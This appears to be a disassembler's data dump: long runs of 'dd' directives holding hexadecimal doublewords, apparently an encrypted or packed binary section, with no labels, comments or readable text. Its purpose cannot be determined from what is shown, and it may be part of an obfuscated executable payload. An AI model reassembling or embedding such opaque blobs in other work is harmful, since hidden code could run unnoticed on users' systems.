		dd 253309DFh, 0B5A259C0h, 5491D3D1h, 47538B59h,	0B2C47B9Eh
		dd 75EF181Fh, 3EF30D19h, 0C4AEA0D8h, 85722993h,	5177EAB2h
		dd 51D8223Ah, 0B22234EBh, 0AB164250h, 0B61C15EAh
		dd 0BDB6C902h, 356D336Fh, 8B55AA8Ch, 7A97BA9Eh,	0E74425Ah
		dd 0D2132178h, 2A62FA47h, 0DF06E11Eh, 9818FCE9h, 0D2A05A7Ah
		dd 0F8B9066Ch, 5A7A981Ah, 0B68D5B09h, 252E849h,	5E734FDh
		dd 16EA37FAh, 687AD026h, 7ACF0A3Fh, 41F00E51h, 6897A3DBh
		dd 5D0733C9h, 3E40945Ah, 115h, 91FB2CE9h, 0F986EDDAh, 0B8865176h
		dd 0BB76896Bh, 72AD525h, 0A27D8BAh, 0E3F9E9BDh,	0F086AB54h
		dd 9BD01AC4h, 67FB40h, 0BFA60000h, 74589CADh, 0BF57A48Dh
		dd 9F62BD0Bh, 0DD89C167h, 0DDBF0C1Dh, 45AB1108h, 7764798Eh
		dd 54926893h, 2A154D1Bh, 54926816h, 8B99501Eh, 0D881B970h
		dd 92693317h, 57A50154h, 15CC2266h, 92681428h, 51051754h
		dd 0CF852560h, 0B3818FC7h, 9CB1C61Dh, 920BCBAFh, 0F6855354h
		dd 54920C12h, 0C694CC9Ah, 85h, 91FB2C29h, 0DB96EDDAh, 0FE165176h
		dd 47DF2CFDh, 41894D93h, 63C9C38Bh, 0D0619EACh,	0F20DEF98h
		dd 0A659A93Fh, 147D3E8Bh, 8B5A7908h, 23310FDDh,	131F57C2h
		dd 0C5AF45ECh, 86732A92h, 5766C0F6h, 0F2DB28F6h, 0C6BD36E0h
		dd 0A65D187Fh, 67C2D5B9h, 578F5D60h, 307DB44Bh,	317EB34Eh
		dd 307DAC4Fh, 0EFBC4A7Eh, 82D82E7Ch, 6AA28774h,	22DF93C4h
		dd 0DDF2A90Fh, 7A1F8ACBh, 0A1D95FFBh, 553426B6h, 0C258265Dh
		dd 91FB2C6Dh, 8C5DEDDAh, 8F5D517Fh, 0FC35CAD8h,	36DF17AFh
		dd 674B384Dh, 0EF5A802Ch, 9F8A7121h, 7682BA52h,	0C212A889h
		dd 0E6A7F43Dh, 729974ABh, 8CDB3165h, 0D828BE73h, 0E8CCB927h
		dd 7292BAF6h, 0C058A58Ch, 6E90400Eh, 27105DC3h,	0FA47E219h
		dd 0E21E2A62h, 0F5D024Fh, 52956AF9h, 69C836A9h,	6E1E841Ch
		dd 0A63CA277h, 6FBA414Fh, 46528A22h, 1A6A2AB9h,	0ED16EF1Ah
		dd 3963A87h, 0F9000000h, 1EC61358h, 33CCAEFBh, 32CFB1FEh
		dd 2ED0B2FFh, 27D4B603h, 28D3B502h, 2ED2B401h, 11D4B603h
		dd 21D9BB08h, 686FBB08h, 27AAh,	89243C89h, 4C781E7h, 83000000h
		dd 3C8704EFh, 17685C24h, 89000021h, 0F7682434h,	8900004Bh
		dd 68552404h, 72371ADDh, 15F5815Dh, 817F8D44h, 33FA11C5h
		dd 8BEE89F8h, 0C481242Ch, 4, 8904EC83h,	4832424h, 51580424h
		dd 8B9h, 89C10100h, 240C8B31h, 4C481h, 34FF0000h, 0C4835824h
		dd 2434FF04h, 4C4815Eh,	0E9000000h, 0FFF922E7h,	0E932E291h
		dd 8F38A6AEh, 40794905h, 2EB89DEDh, 305EE5Dh, 0D1E0FFC5h
		dd 0AA7624DDh, 980C7DA6h, 0A92EDB6Fh, 73626CA8h, 9071EE7h
		dd 0F6616ABBh, 52233942h, 2951D009h, 440DB6C6h,	772AC550h
		dd 8015AF2h, 0D47B1636h, 0BC303D85h, 563C8989h,	0AD148FBBh
		dd 0CB792DD6h, 834AF0EBh, 0B54D0539h, 791EDD57h, 642B5041h
		dd 0B109260h, 0E27351EEh, 0B476B898h, 3B48C42Bh, 416A65EEh
		dd 4470A34Bh, 0CF055A18h, 760DD44Ah, 3A72FE30h,	0EB5C54E1h
		dd 0A096FA04h, 526E97Bh, 0DD070000h, 0A456A63Ch, 469FEF85h
		dd 13ED3DD3h, 0C338881Eh, 4EB7D066h, 0C359D02Bh, 10A68B73h
		dd 5AF041C0h, 0A63CF50Ah, 0E7CBB8D1h, 6F5A8031h, 0F1F40289h
		dd 0BFDFF028h, 0ACE44DB1h, 85D25FA0h, 0BC6D8E9Ch, 0F23FF20Ch
		dd 0E516225Ah, 0A15EAE44h, 0D36E523Fh, 28F65491h, 6C9375C2h
		dd 649678C5h, 98996674h, 4024B34Bh, 0C85491D3h,	725643FAh
		dd 0FA5491D3h, 0C779C62Ch, 11EE4593h, 0C73A8A20h, 7D84D46Ah
		dd 12EFFDB4h, 5C3EE71Fh, 0C6D88FA2h, 9C6C7398h,	0DD86BE31h
		dd 451CEA38h, 8FDF75BCh, 0B374C170h, 549299D4h,	8FAD3B9Dh
		dd 66B37E81h, 4AE96CEh,	44457C3Ah, 0A55E422Fh, 18E65492h
		dd 796EE0h, 0C6190000h,	3C7BAA39h, 985DBA0Bh, 0EEFCE532h
		dd 0F9E41C0Dh, 54927E1Bh, 17482E4h, 457C5657h, 1838h, 2DD3E100h
		dd 85EB46BAh, 7E624F38h, 6549289h, 0DD22D238h, 376F0754h
		dd 0AB34C626h, 0F48CD950h, 9B5F418Eh, 0BF16CF40h, 85EB08E9h
		dd 0F425C0CEh, 2ED70FA7h, 307DB44Ch, 0A5BC4A7Eh, 0B1DD455h
		dd 966DA499h, 8A7CB4BEh, 4D311E33h, 0D554921Ch,	3CC3CF07h
		dd 0C60A5FF5h, 0DE3BAA35h, 4CB3C178h, 1B04ADE5h, 0F441D80Dh
		dd 0E218245Ch, 0D42509F6h, 95AD5491h, 0DF77C465h, 0F2C61379h
		dd 0CDB19EB3h, 555491D3h, 0B0ED787h, 2AEE26BEh,	7C697EDCh
		dd 5491D398h, 0E1A5220h, 56A63CEDh, 593B88A9h, 77408D8Ch
		dd 56F09B71h, 37457CFAh, 72h, 10D1CEE0h, 460504A5h, 0ADBFFD0Eh
		dd 6DFB6F0Bh, 2B376F79h, 2A0C59D0h, 95A75EBBh, 54918BF9h
		dd 2CE078C5h, 43CDA1Eh,	6775A95Bh, 68FE2BD0h, 5FCE318h
		dd 9779C62Ch, 0A68A7769h, 2E549200h, 0E4ADFA60h, 0A35D08DEh
		dd 3457CD7h, 0DC29F0F5h, 439A0C44h, 45000000h, 0D9BDAABFh
		dd 615491D3h, 0AC4F5B93h, 0B34E307Dh, 0EBC317Eh, 979269F8h
		dd 34C6AC01h, 8E7A8F5h,	0D15491D4h, 41E81220h, 45EC12F4h
		dd 15E3A7DFh, 7CFCB862h, 14EAF845h, 38D01Dh, 18Eh, 1FC63900h
		dd 226B52ACh, 99FF43DDh, 9C956A4Ch, 9B8E6D4Fh, 9A8F6C4Eh
		dd 7389794Dh, 9F6DBB2Eh, 66FC1DC8h, 0F8CCFD0Fh,	58EA7AC0h
		dd 0DF497A20h, 19683B28h, 22F05177h, 8EA35D6Bh,	0C871A941h
		dd 821819E6h, 0AD64CD32h, 82CF629Fh, 2009B2EAh,	8F5D312h
		dd 5A792024h, 2B78DEACh, 92705B93h, 145A791Fh, 19FB48D1h
		dd 5FFD4AE7h, 65A8F503h, 0E36C5668h, 0E318E120h, 4211E7ABh
		dd 8EDE74BDh, 950D7271h, 28CE2A01h, 6C9375C2h, 0B4A478C5h
		dd 41F00F26h, 0C5D57FABh, 13B6409Bh, 61000001h,	0DA91FB2Ch
		dd 9749B7C5h, 91D3C6AAh, 1A804E54h, 0F990F7E2h,	0C2905176h
		dd 807E8C75h, 926D79B1h, 0FF7D614Eh, 37055A78h,	14EB3BD1h
		dd 11EED01Dh, 67546920h, 5A78FF83h, 8A3CED0Dh, 7DB84BCh
		dd 8D72C117h, 38E20EA4h, 19409BD0h, 46h, 4AB1BFC4h, 43FA92DFh
		dd 91D37256h, 0F42CFA54h, 0FDB43A4Eh, 91D3FC10h, 0E9360454h
		dd 26F3F200h, 1E0941D9h, 5491D53Ah, 5EAC08h, 56D4A6EEh
		dd 0B8F0E8D2h, 0C178FE12h, 91F2C0D4h, 64FAC854h, 7D52h
		dd 0FB2CB500h, 157B9E47h, 0DB1A715Eh, 80955176h, 78DCAF93h
		dd 0B569375Ah, 49BBAEBh, 0E4640h, 0FC03E532h, 0B04F9F35h
		dd 8A5F4330h, 19E75A79h, 3CA566B3h, 0B35A798Bh,	9F60F705h
		dd 8B705441h, 2AF85A79h, 13442EC4h, 5D05F2A9h, 0DD576746h
		dd 1FE0C20Fh, 0D220C512h, 0E6182604h, 2E66FE4Bh, 0AF9C5F88h
		dd 6067EACBh, 681F8553h, 7E1E8E56h, 0D109ECCBh,	0A929D1BEh
		dd 0DBA95D55h, 0FB2CF045h, 0B7C5DA91h, 0C3AEE643h, 517F8E1Bh
		dd 9E80CD9Bh, 0B4758661h, 4085974Eh, 8B9C341Ah,	3CA28774h
		dd 3DC21204h, 10CF78A6h, 0F28C40F1h, 1D6AD027h,	0CDF64E5Ch
		dd 0BE4C8030h, 43D958A7h, 6EAD7ECh, 8CD8CF99h, 804FF3BFh
		dd 4210C22Ah, 0E201FE0Ah, 62EDFB19h, 0ADFA6003h, 0E544B6C4h
		dd 0D25FA1ADh, 4492E085h, 891F12EDh, 4C301D32h,	0D4D8CFC7h
		dd 3DC2CE06h, 0CB2F3DF4h, 0F542E714h, 12AAF75Dh, 128D31DAh
		dd 0EE000000h, 0C5121FE0h, 58E4F52Dh, 35FC0311h, 81B96085h
		dd 0FB1EC670h, 0FE33CCAEh, 0FF32CFB1h, 32ED0B2h, 227D4B6h
		dd 128D3B5h, 32ED2B4h, 811D4B6h, 821D9BBh, 54576FBBh, 4C7815Fh
		dd 83000000h, 3C8704EFh, 89515C24h, 4C181E1h, 83000000h
		dd 0C8704E9h, 34895C24h, 0D146824h, 4890000h, 5E416824h
		dd 348B05EEh, 4C48124h
		dd 54000000h, 8324048Bh, 0EC8304C4h, 24348904h,	67242C81h
		dd 8F6D903Eh, 40810840h, 903E6708h, 24048B6Dh, 81E28952h
		dd 4C2h, 4C28100h, 87000000h, 0FF5C2414h, 815E2434h, 4C4h
		dd 1D31E900h, 0ED0FFF9h, 32AAB3ADh, 0E356821h, 0EE62E1B8h
		dd 0FFC50305h, 50E36FE0h, 6DF6D067h, 9A02AB30h,	0A1520870h
		dd 91590873h, 860E5F58h, 0B2B0466Dh, 0F3AFE46Fh, 2CADC83Fh
		dd 0EA54C569h, 0D0FE9679h, 68586320h, 0DA880A5Ch, 0B1D8CF06h
		dd 2A04EB7Dh, 0E90F1E73h, 59Eh,	18AE6B79h, 61F732C8h, 0AF45D411h
		dd 0FA90A15Fh, 42D851AAh, 5E9DC029h, 19E535CBh,	0CF328218h
		dd 837CCC62h, 2A4318AEh, 8036593Dh, 76FBE15Ah, 0ABF839C6h
		dd 0DCC0ADC2h, 645491D3h, 0A9525E96h, 659AEA80h, 0D3AA8E7Bh
		dd 64325491h, 30CFB1FEh, 0BDCBB401h, 0ABB7EF42h, 0DB8DDA4Fh
		dd 0EDFB51A7h, 3CD421F8h, 2A07F804h, 0F4486173h, 7059523Ch
		dd 0BF64638h, 0A0616F26h, 17675991h, 11FA47EAh,	0FD35FC03h
		dd 0D7240DF1h, 73879532h, 99D169B6h, 172907D5h,	12E0DC2Ch
		dd 0ECF83012h, 53651C15h, 8ED8EF24h, 0A294CC91h, 0C03AAD52h
		dd 451E01Fh, 21B9066Ch,	0CEAD6EBBh, 97549239h, 7489A735h
		dd 398E725Fh, 48165492h, 9239D5B9h, 578F5D54h, 7C9AC56Fh
		dd 5CA645h, 0C6510000h,	0EAABF839h, 5491D40Ch, 0F26573D5h
		dd 457CFC48h, 129h, 34C6D400h, 34C6A8F5h, 0CF303EF5h, 0FB48E918h
		dd 18B0FD63h, 0AB5537E0h, 4873986h, 0EE260BF6h,	7585DC2Ah
		dd 5B48906Ah, 5491D377h, 7ECB31FFh, 68C936E6h, 871D831Bh
		dd 0B269C837h, 7EA38EA0h, 0F0286A2Ah, 35C6A9FEh, 152B3DF4h
		dd 0AC42E96Bh, 0BD9F4880h, 0CAAE9B3Dh, 5254922Eh, 52671E84h
		dd 922E8165h, 33170454h, 0BB54922Fh, 356D3BEDh,	0D950AA8Ch
		dd 8F54AA8Ch, 76B6A7C6h, 0A1EE54E9h, 5358AEFCh,	9B6472B1h
		dd 4C9A5E96h, 1120E0EEh, 0F1896D5Ah, 43115491h,	2DFCFF0Bh
		dd 79B84797h, 0DCC0ADC2h, 645491F1h, 0D3B55E96h, 0D8BA0712h
		dd 0DCBE0B26h, 0DEC00D24h, 27BF0C1Dh, 186573A7h, 0CF6D7B81h
		dd 39A63DC1h, 3E7CD4Ch,	4C327FE5h, 2BD56021h, 8BC32916h
		dd 7C1BE9A3h, 83EA45h, 0C6950000h, 2B3DF435h, 78169866h
		dd 9A030C47h, 7EFB5CF3h, 456C6418h, 0BAC29820h,	0EEF7D982h
		dd 611504E1h, 0CB0B1DCh, 9BE84E4Eh, 1027B5E9h, 58A83EEBh
		dd 0C1CF86A3h, 0AA2EF3Ah, 0B6D4C656h, 4C84C046h, 0F23FC1A3h
		dd 0D6DCA5h, 4428152Ah,	0CC54920Ah, 24DEC6FEh, 25457CCDh
		dd 4Eh,	0F435C6D0h, 0AB3CC5A7h,	0F991DE53h, 23D14693h
		dd 0AC7D7ED5h, 0D1FEE7F5h, 4F9C022Fh, 53A0916Dh, 2B1D55BBh
		dd 0AB34C6D6h, 0D52BDB56h, 313FF65Ch, 47E219CEh, 0AFFC62FAh
		dd 7536DF17h, 5491D396h, 7CEFFD5Fh, 457CFCD2h, 1B3h, 1FC65E00h
		dd 34CBADFAh, 443146FDh, 5491D360h, 681A17EAh, 14B9629Ah
		dd 51856577h, 79A58976h, 5F2D5492h, 4ED70ABh, 0B1C75437h
		dd 0F52D936Dh, 598CDB31h, 6D9E826Fh, 8A245492h,	0FCCF7A45h
		dd 0DD8D5B0Dh, 29C10E23h, 10432DC3h, 0CEDCF1A8h, 0D9C4FC2Dh
		dd 51770806h, 8A73C08Eh, 61AE837Ch, 49E819C9h, 0E6FA0511h
		dd 790E15F9h, 69CF9D5Ah, 0C76A7CD3h, 0F248B766h, 0B946528Ah
		dd 8C6A2B78h, 7B5A78D8h, 0D7283FCDh, 2EFF110h, 5A78D91Eh
		dd 0C72D8A6h, 58D92676h, 5BD6290Bh, 0BC4A3A0Eh,	41D75AA5h
		dd 9BF96B15h, 639DAB40h, 35E981CEh, 52ED8819h, 0C6387091h
		dd 116h, 2F115D6Fh, 42D500E5h, 75C26F92h, 2C94A5DDh, 0EDDA91FBh
		dd 5176F986h, 0F301B886h, 42DA27F2h, 807F610Ah,	34CB1BB1h
		dd 31CEB0FDh, 0EFDFB300h, 7CB54A19h, 0D010BAE6h, 51F1409Bh
		dd 9A000000h, 72BF728Ch, 523623DAh, 0DA5A790Bh,	2CC3D40Ch
		dd 0EEDB92E4h, 5491D3DAh, 0DEC714E2h, 47B82FD0h, 9F059DEAh
		dd 0D4987C67h, 0DE225491h, 0DB240653h, 0D7270956h, 0F5750D5Ah
		dd 0FA662BC1h, 2B5F489Eh, 0D210EC5h, 155491D5h,	879FB147h
		dd 2000000h, 0DA91FB2Ch, 76DB96EDh, 0FB481651h,	0B54BE619h
		dd 4A979A65h, 78DE2089h, 58D12A5Ah, 12D5290Bh, 91DE44EDh
		dd 43489EECh, 0AD845200h, 7B808E52h, 3AC961AEh,	5A78DE56h
		dd 9E6010DEh, 40972D93h, 1461C832h, 759E447Ch, 295F4C03h
		dd 0A95766BCh, 817A6D91h, 8FDC42A8h, 92DF52ADh,	0B94250EDh
		dd 0F359D826h, 0F5A0EA6h, 2984FF2Eh, 3CCA8EC6h,	39F0588Bh
		dd 558F164Ch, 0F97F915Dh, 0A1E8D4Eh, 28F6043Ch,	0FB2C3D92h
		dd 87C8DA91h, 48AC77D6h, 0F7E50760h, 0F65CD07Eh, 88BEABBEh
		dd 8517FD8h, 0F40BED3Ah, 8471863Dh, 5A805EA0h, 30225A28h
		dd 0C5121FE0h, 0F6DAC7DCh, 7E5A805Eh, 818D78B0h, 8B645054h
		dd 9072BF5Ah, 0D876C36Eh, 28D76E7Ch, 0EF23A309h, 7CB54A19h
		dd 0C86996E6h, 8067997Bh, 0CC64B180h, 0AD9AAF66h, 657078C9h
		dd 0E8E7144Fh, 0BA6C1B6Eh, 290BB4ECh, 280A57D2h, 710F5CBDh
		dd 47BAC715h, 0AB54E3F9h, 8499F086h, 70BFB397h,	356D3B65h
		dd 0E5BD629h, 7C061325h, 3C241EF6h, 0C3604h, 85970000h
		dd 0DA9077FCh, 0AFC0F810h, 1EC61358h, 33CCAEFBh, 32CFB1FEh
		dd 2ED0B2FFh, 27D4B603h, 28D3B502h, 2ED2B401h, 11D4B603h
		dd 21D9BB08h, 506FBB08h, 4055854h, 83000000h, 48704E8h
		dd 45685C24h, 89000013h, 8952240Ch, 4C281E2h, 81000000h
		dd 4EAh, 24148700h, 242C895Ch, 8904EC83h, 43BF243Ch, 8105817Ah
		dd 0C208E5F7h, 0A9C7817Dh, 0C13A4240h, 0F78107EFh, 48B68D5h
		dd 545FF989h, 81242C8Bh, 4C4h, 0E46800h, 0C890000h, 8458F24h
		dd 5D2434FFh, 4C481h, 34FF0000h, 0C4815924h, 4,	0F9173EE9h
		dd 0D2B813FFh, 305EE68h, 0DEE0FFC5h, 980BB56Bh,	7D19BA8Bh
		dd 0FA593C7Ch, 5D76006Ah, 0A87A1DBAh, 58093598h, 8D1E2D69h
		dd 0EE6AA68Dh, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 6F61A8BCh, 2AA481E0h
		dd 0FDBD8B2Eh, 8905E702h, 0E71AA98Dh, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
		dd 69E1F855h, 0E8FE8B66h, 0Bh, 3E7D74C4h, 0F5FB1A45h, 8B174FE9h
		dd 85C758C3h, 5E72A4Dh,	716Ch, 0F2ADD781h, 0E9507A98h
		dd 7, 9C7E224h,	5AD80CB2h, 273985C7h, 5E7h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 8B43BFC3h, 61B589D7h, 8905E71Ch, 0E72A6995h,	0F9B5FF05h
		dd 8B05E722h, 9595FFF0h, 6A05E717h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 33E4C353h
		dd 161465FDh, 7E8DB0Eh,	8F000000h, 0E83CC75Fh, 2360CC59h
		dd 0E7009585h, 12E805h,	38ED0000h, 51DF6B3Ch, 7F7AD49Eh
		dd 635A1C0Dh, 5390F8AEh, 0E95F615Eh, 8,	0AC66D37Dh, 0CBBA4332h
		dd 95FF006Ah, 5E721C1h,	1FEBC08Bh, 62D6CA0Ah, 9144E342h
		dd 8624C61Eh, 1A872C4Ah, 8C0BFE45h, 0ABD1406Dh,	6AA2567Bh
		dd 0EB198D93h, 0A7B26704h, 523E92Dh, 499B0000h,	10EA3AD0h
		dd 0B2338319h, 7F81D167h, 2FCC1CB2h, 0E24B64FAh, 57ED3CBFh
		dd 0A43AF707h, 0EE84AD54h, 3AD0619Eh, 7B5F4C65h, 35A803Dh
		dd 39C6981Dh, 41364DAAh, 89EFE6EDh, 37A15A3Ch, 0CB5AD729h
		dd 5491E4E7h, 0A53BA16Fh, 0D087AA55h, 0D77127BEh, 18505972h
		dd 75728D6Fh, 0F03DA386h, 0F03DEC0Eh, 0F542D70Eh, 0F845EC13h
		dd 0D9A63424h, 79D72559h, 0B04F906Bh, 369C3481h, 0D1951E9h
		dd 59A93FF2h, 0C4D289A8h, 0C2A8F53Ch, 0DB95B8E1h, 5B93F9D7h
		dd 49E81969h, 0F50513FCh, 0EF0FC34h, 0CF4D623h,	9F6D825h
		dd 0F529DB28h, 0D9279AE7h, 64CD3403h, 506277CEh, 0E0CC578h
		dd 0D9BD4CE9h, 635491F1h, 0B048959Ch, 658030FEh, 8F707CB4h
		dd 0B59455A2h, 7E5491F1h, 0F19BCE1Ch, 0D2457CE2h, 54h
		dd 0AE39C67Dh, 0FA92DF52h, 0A8864794h, 715491D3h, 4E63F90Fh
		dd 91D37D61h, 0FF370554h, 7CFC6D17h, 14E45h, 0C6F90000h
		dd 8F50AB34h, 0F75DC356h, 0AD32C8AAh, 2976DC4Dh, 0C178B947h
		dd 99E64BB3h, 6E20C901h, 6595AC3Ah, 5CA9807Ah, 78C85EC4h
		dd 0BF14AA87h, 0D9BDAABFh, 615491D3h, 1118E393h, 0FB2ECDD9h
		dd 0FB2ECCAEh, 1CEADAAEh, 0DD73B645h, 0AC6D7886h, 838FC75Fh
		dd 8668B57Ch, 548B705Fh, 9F3784ADh, 71CD339h, 6F179FF5h
		dd 18A7B4A5h, 54921734h, 0DB6EEBCh, 0BDA83E44h,	457CB903h
		dd 9D04h, 35C6AF00h, 20C5A7F4h,	402D42F9h, 5491D35Ch, 35DE16E4h
		dd 0A3B94F83h, 821EF291h, 0F62E7C2Ch, 821811EAh, 0A960C932h
		dd 0AE927F94h, 3654925Eh, 5EF5D968h, 0AF7D5492h, 14ECCE77h
		dd 0B9062BD3h, 0A50B0ED7h, 2329F23Fh, 71E8A2D5h, 71E9457Ch
		dd 92000000h, 68AC907Dh, 66345492h, 35C61D2Eh, 0D3D2B6A3h
		dd 68555491h, 5491D384h, 0BE8C3E0Ch, 0D8290B58h, 0D4371B08h
		dd 0F1BF5491h, 0A35C3E8Bh, 0A05F418Eh, 9F624491h, 0EA00F092h
		dd 536562A5h, 0B1635D93h, 975B9377h, 2009F241h,	34C6358Ah
		dd 0AABFA8F5h, 91D3D9BDh, 5B936154h, 91D39170h,	0E2F85A54h
		dd 6DBC3E4Ch, 0FCA34D35h, 184457Ch, 2F000000h, 0ADFA1FC6h
		dd 0B0FD34CBh, 0CE5C6E0Bh, 295CBEEFh, 0FD2CCE7Eh, 5CEB01C5h
		dd 10FA9089h, 0D1BE75E7h, 5177DAFEh, 896BB886h,	0D525BB76h
		dd 0F9BA072Ah, 5A79E11Bh, 0B78E5C0Ah, 353E948h,	6E835FCh
		dd 17EB38F9h, 7D82D127h, 48F21EB4h, 294094F1h, 157h, 91FB2CD4h
		dd 0F986EDDAh, 0B8865176h, 0BB76896Bh, 72AD525h, 0C027D8BAh
		dd 418EF425h, 0C5202E6Dh, 376F0754h, 0B5C76573h, 2CCE023Eh
		dd 0EAF62E02h, 42DD215h, 0C87C604Dh, 36045A79h,	0D5E33AD0h
		dd 0E8D00829h, 409B093Eh, 581Fh, 0ADBFCA00h, 0ED698D95h
		dd 11B7EFADh, 0D3C077F9h, 54922DBFh, 0EBACF9C7h, 54922F07h
		dd 0E41C2AD5h, 0C8EF994Dh, 0FD1CDF9Fh, 0C2EB01C5h, 6EAD78Eh
		dd 8E5492BFh, 0BE9E826Fh, 58265492h, 0C0D58CF2h, 0AEE633B2h
		dd 92BEAFC3h, 53E9B754h, 0BA41h, 6794A200h, 0A5DD75C2h
		dd 2BADBF94h, 0BF10DB7Bh, 2354FA32h, 0BE1502B9h, 3E517723h
		dd 2C3A2370h, 1B275FD2h, 2B0FFCE4h, 0B35A7926h,	0BAC87FE5h
		dd 60249F44h, 6B8369D8h, 84DBCD05h, 0A05B8476h,	3EA43C89h
		dd 152159F1h, 39FA47EAh, 5A7947D0h, 0ED439947h,	0BCBBC8DBh
		dd 97CF048Dh, 27BD748Bh, 0B2540A3Dh, 2CD94228h,	95E24FB1h
		dd 7A3197FDh, 6794F18Dh, 20E1F957h, 0EEDBC411h,	60681A0Ah
		dd 0F85EC492h, 0FB36C9ABh, 2DBB09AEh, 2AE14B7Ch, 19442815h
		dd 0B0CC6068h, 0B408A774h, 0F830964Eh, 3FC2D0E5h, 0D50DA5F2h
		dd 56734EEAh, 0F288565Dh, 0C0718D9Bh, 0D42BDB73h, 0BF14255Dh
		dd 0A9E150B1h, 0B168D003h, 7FBA28C4h, 15623051h, 0CF65CC33h
		dd 64B1807Fh, 53786D7Bh, 0F202E372h, 326AD0BBh,	0C65D8547h
		dd 0FD0B3F82h, 2989966h, 2DE44DB2h, 17FFDC1Fh, 0EF37E723h
		dd 8062AF15h, 164EB465h, 6B758B6Dh, 0C9EB9A7Eh,	0DA062282h
		dd 0C006AA45h, 2B78DE44h, 93A23886h, 0A387746Ch, 2B82CA0Ah
		dd 1161F75Dh, 0DF643EEh, 0E12EFBFFh, 0A431149h,	0A6000000h
		dd 0E534B1BFh, 4EC80098h, 0FB1EC609h, 0FE33CCAEh, 0FF32CFB1h
		dd 32ED0B2h, 227D4B6h, 128D3B5h, 32ED2B4h, 811D4B6h, 821D9BBh
		dd 6C686FBBh, 89000076h, 89562414h, 4C681E6h, 83000000h
		dd 348704EEh, 14895C24h, 21526824h, 0C890000h, 0BB535024h
		dd 580F3062h, 0DDDCEB81h, 0D8894064h, 0BD5BBA5Bh, 0C2291D98h
		dd 7C826858h, 24890000h, 24048124h, 4, 79916859h, 1C890000h
		dd 89D38924h, 8B5B0859h, 8956240Ch, 4C681E6h, 81000000h
		dd 4C6h, 24348700h, 2434FF5Ch, 4C4815Ah, 0E9000000h, 0FFF9109Fh
		dd 0D63F2CC2h, 0B1553E8Dh, 6F71B811h, 0C50305EEh, 4B2E0FFh
		dd 3D3215EAh, 16991A9Ah, 8BEF4EF7h, 1FB925C6h, 0D2160445h
		dd 2299387Bh, 2F4B24E9h, 546E6A09h, 5A996CF8h, 0D7B308D6h
		dd 245625D5h, 710A10DDh, 0F3E4571Bh, 0F99C03C9h, 3FB205C0h
		dd 8D8D3056h, 5EE70D9h,	68B0Fh,	0B5890000h, 5E72F1Dh, 1AA98D89h
		dd 0BB6605E7h, 85C74125h, 5E72A4Dh, 712Ch, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0BBC35040h, 4D01BD26h
		dd 15F54F97h, 273985C7h, 5E7h, 0BE660000h, 0B5FF9087h
		dd 5E71639h, 2371B58Bh,	95FF05E7h, 5E71795h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 27C35040h, 8B666231h
		dd 81958BDAh, 6A05E718h, 0C195FF00h, 8B05E721h,	0C40DEBC0h
		dd 4D2CB8CBh, 0C244FE14h, 0DE1D8333h, 23204EBh,	3AE9560Dh
		dd 0BC000005h, 0B5BF128h, 54A43AEFh, 0A2F28891h, 0ED3DD35Eh
		dd 6C851B0Eh, 0E1BE003h, 5BD62878h, 0A58C75C5h,	0F140BF0Fh
		dd 806D865Bh, 5A80439Ch, 0C6B93E24h, 0C9ABF839h, 1161F732h
		dd 0DD02F9EEh, 45AB1108h, 0F7E916F8h, 91D4260Ah, 7AE0AE54h
		dd 7AAF4B2Dh, 0E6F87B2Dh, 3F564DA6h, 21E51D42h,	0AE837CCBh
		dd 0CCFCE9F7h, 9288FBDFh, 4FB58354h, 2CD52517h,	0E21F6F05h
		dd 0DE20024Fh, 0D238F109h, 3BEE0D1Bh, 67B55A03h, 54ADBB91h
		dd 0C0F890DDh, 4EE44DB4h, 22C3E5F7h, 635F61B3h,	7E01F2Bh
		dd 82CF35F4h, 927BE2C1h, 959C6454h, 98996648h, 7187774Bh
		dd 0FD12C32Ch, 927C2C10h, 0AEE6B454h, 303E1CEAh, 7A125FCAh
		dd 54B05A42h, 8091457Ch, 3C000000h, 0ABF839C6h,	0E64BB4C2h
		dd 0D3E5C3AEh, 94675491h, 98664895h, 4B44C99h, 4BE936FBh
		dd 2B9419EFh, 9E4833C9h, 7F457CFCh, 1, 0A434C62Ah, 0C1A2CD92h
		dd 21B01292h, 5492B93Dh, 0B9EFD3C0h, 0A9775492h, 76C329F7h
		dd 76C36694h, 807B6C94h, 4693865Fh, 95E248AEh, 359AFE3h
		dd 0F02809F5h, 7D1316E4h, 6BEC1426h, 123830A0h,	31CEDAh
		dd 63473449h, 0ED5492A2h, 0A06E2011h, 0BF217668h, 0A8E049B1h
		dd 13CA5F9Ch, 9CC4E801h, 139641Bh, 0A5847658h, 0A4857658h
		dd 0A78A7557h, 6674A85Ah, 71877719h, 58C3C9DBh,	368F14B3h
		dd 2009F2FEh, 6CC53A8Ah, 4924361Fh, 0F9D03DA0h,	37AEBAF2h
		dd 0C6CC95E2h, 0F48B4530h, 0DDEB457Ch, 65D70F22h, 5Dh
		dd 0F435C610h, 0F920C5A7h, 63C63442h, 9CD0822Bh, 2504F74Eh
		dd 1FBC3F8Fh, 0CA1AFC6Ah, 0EBA20872h, 5905E9D6h, 758D5492h
		dd 941A78Ah, 0AF827E60h, 45939962h, 7C7F7812h, 465945h
		dd 0C6040000h, 0BEA7F435h, 8CC9F8ACh, 9AD22DF0h, 71BE738Eh
		dd 0A2B84EFCh, 8DC56C94h, 19AF7A81h, 0DAADBFC4h, 3FFBAA82h
		dd 788C25D9h, 0B1229380h, 9C8D6D79h, 0A8AF8E4Fh, 16785492h
		dd 29EB95C0h
		dd 1CC457Ch, 77000000h,	4FB01FC6h, 4D2F7CE2h, 8D327FB2h
		dd 0AEEDBF0h, 925491D4h, 32C88CC4h, 0A057C223h,	0CC36E92h
		dd 91D43B1Fh, 0BDF5C354h, 46B6E1CBh, 926C7A8Fh,	82BA529Fh
		dd 76FCC497h, 317E4C51h, 0EB81B04Fh, 0B5748694h, 598E717Dh
		dd 6E258BA6h, 46939E60h, 0CCD76AEh, 5A79032Eh, 0C3996F1Dh
		dd 0ADE54CB5h, 3DD35EA1h, 0D21F12EDh, 0E4D10FF0h, 5A790300h
		dd 1B136B86h, 5B7BC95h,	0A284D137h, 0A789D643h,	188DDA57h
